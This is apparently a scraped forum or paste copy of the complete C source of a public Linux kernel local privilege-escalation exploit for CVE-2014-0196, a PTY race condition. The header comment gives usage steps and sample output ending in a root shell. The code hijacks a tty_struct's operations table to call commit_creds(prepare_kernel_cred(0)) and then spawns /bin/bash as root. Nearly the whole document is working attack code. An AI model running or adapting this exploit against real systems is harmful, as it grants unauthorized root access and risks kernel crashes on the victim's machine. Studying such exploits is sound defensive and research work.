|
- /*
- * CVE-2014-0196: Linux kernel <= v3.15-rc4: raw mode PTY local echo race
- * condition
- *
- * Slightly-less-than-POC privilege escalation exploit
- * For kernels >= v3.14-rc1
- *
- * Matthew Daley <mattd@bugfuzz.com>
- *
- * Usage:
- * $ gcc cve-2014-0196-md.c -lutil -lpthread
- * $ ./a.out
- * [+] Resolving symbols
- * [+] Resolved commit_creds: 0xffffffff81056694
- * [+] Resolved prepare_kernel_cred: 0xffffffff810568a7
- * [+] Doing once-off allocations
- * [+] Attempting to overflow into a tty_struct...............
- * [+] Got it :)
- * # id
- * uid=0(root) gid=0(root) groups=0(root)
- *
- * WARNING: The overflow placement is still less-than-ideal; there is a 1/4
- * chance that the overflow will go off the end of a slab. This does not
- * necessarily lead to an immediate kernel crash, but you should be prepared
- * for the worst (i.e. kernel oopsing in a bad state). In theory this would be
- * avoidable by reading /proc/slabinfo on systems where it is still available
- * to unprivileged users.
- *
- * Caveat: The vulnerability should be exploitable all the way from
- * v2.6.31-rc3, however relevant changes to the TTY subsystem were made in
- * commit acc0f67f307f52f7aec1cffdc40a786c15dd21d9 ("tty: Halve flip buffer
- * GFP_ATOMIC memory consumption") that make exploitation simpler, which this
- * exploit relies on.
- *
- * Thanks to Jon Oberheide for his help on exploitation technique.
- */
- #include <sys/stat.h>
- #include <sys/types.h>
- #include <fcntl.h>
- #include <pthread.h>
- #include <pty.h>
- #include <stdio.h>
- #include <string.h>
- #include <termios.h>
- #include <unistd.h>
- #define TTY_MAGIC 0x5401
- #define ONEOFF_ALLOCS 200
- #define RUN_ALLOCS 30
- struct device;
- struct tty_driver;
- struct tty_operations;
- typedef struct {
- int counter;
- } atomic_t;
- struct kref {
- atomic_t refcount;
- };
- struct tty_struct_header {
- int magic;
- struct kref kref;
- struct device *dev;
- struct tty_driver *driver;
- const struct tty_operations *ops;
- } overwrite;
- typedef int __attribute__((regparm(3))) (* commit_creds_fn)(unsigned long cred);
- typedef unsigned long __attribute__((regparm(3))) (* prepare_kernel_cred_fn)(unsigned long cred);
- int master_fd, slave_fd;
- char buf[1024] = {0};
- commit_creds_fn commit_creds;
- prepare_kernel_cred_fn prepare_kernel_cred;
- int payload(void) {
- commit_creds(prepare_kernel_cred(0));
- return 0;
- }
- unsigned long get_symbol(char *target_name) {
- FILE *f;
- unsigned long addr;
- char dummy;
- char name[256];
- int ret = 0;
- f = fopen("/proc/kallsyms", "r");
- if (f == NULL)
- return 0;
- while (ret != EOF) {
- ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, name);
- if (ret == 0) {
- fscanf(f, "%s\n", name);
- continue;
- }
- if (!strcmp(name, target_name)) {
- printf("[+] Resolved %s: %p\n", target_name, (void *)addr);
- fclose(f);
- return addr;
- }
- }
- printf("[-] Couldn't resolve "%s"\n", name);
- fclose(f);
- return 0;
- }
- void *overwrite_thread_fn(void *p) {
- write(slave_fd, buf, 511);
- write(slave_fd, buf, 1024 - 32 - (1 + 511 + 1));
- write(slave_fd, &overwrite, sizeof(overwrite));
- }
- int main() {
- char scratch[1024] = {0};
- void *tty_operations[64];
- int i, temp_fd_1, temp_fd_2;
- for (i = 0; i < 64; ++i)
- tty_operations[i] = payload;
- overwrite.magic = TTY_MAGIC;
- overwrite.kref.refcount.counter = 0x1337;
- overwrite.dev = (struct device *)scratch;
- overwrite.driver = (struct tty_driver *)scratch;
- overwrite.ops = (struct tty_operations *)tty_operations;
- puts("[+] Resolving symbols");
- commit_creds = (commit_creds_fn)get_symbol("commit_creds");
- prepare_kernel_cred = (prepare_kernel_cred_fn)get_symbol("prepare_kernel_cred");
- if (!commit_creds || !prepare_kernel_cred)
- return 1;
- puts("[+] Doing once-off allocations");
- for (i = 0; i < ONEOFF_ALLOCS; ++i)
- if (openpty(&temp_fd_1, &temp_fd_2, NULL, NULL, NULL) == -1) {
- puts("[-] pty creation failed");
- return 1;
- }
- printf("[+] Attempting to overflow into a tty_struct...");
- fflush(stdout);
- for (i = 0; ; ++i) {
- struct termios t;
- int fds[RUN_ALLOCS], fds2[RUN_ALLOCS], j;
- pthread_t overwrite_thread;
- if (!(i & 0xfff)) {
- putchar('.');
- fflush(stdout);
- }
- if (openpty(&master_fd, &slave_fd, NULL, NULL, NULL) == -1) {
- puts("\n[-] pty creation failed");
- return 1;
- }
- for (j = 0; j < RUN_ALLOCS; ++j)
- if (openpty(&fds[j], &fds2[j], NULL, NULL, NULL) == -1) {
- puts("\n[-] pty creation failed");
- return 1;
- }
- close(fds[RUN_ALLOCS / 2]);
- close(fds2[RUN_ALLOCS / 2]);
- write(slave_fd, buf, 1);
- tcgetattr(master_fd, &t);
- t.c_oflag &= ~OPOST;
- t.c_lflag |= ECHO;
- tcsetattr(master_fd, TCSANOW, &t);
- if (pthread_create(&overwrite_thread, NULL, overwrite_thread_fn, NULL)) {
- puts("\n[-] Overwrite thread creation failed");
- return 1;
- }
- write(master_fd, "A", 1);
- pthread_join(overwrite_thread, NULL);
- for (j = 0; j < RUN_ALLOCS; ++j) {
- if (j == RUN_ALLOCS / 2)
- continue;
- ioctl(fds[j], 0xdeadbeef);
- ioctl(fds2[j], 0xdeadbeef);
- close(fds[j]);
- close(fds2[j]);
- }
- ioctl(master_fd, 0xdeadbeef);
- ioctl(slave_fd, 0xdeadbeef);
- close(master_fd);
- close(slave_fd);
- if (!setresuid(0, 0, 0)) {
- setresgid(0, 0, 0);
- puts("\n[+] Got it :)");
- execl("/bin/bash", "/bin/bash", NULL);
- }
- }
- }
复制代码 |
|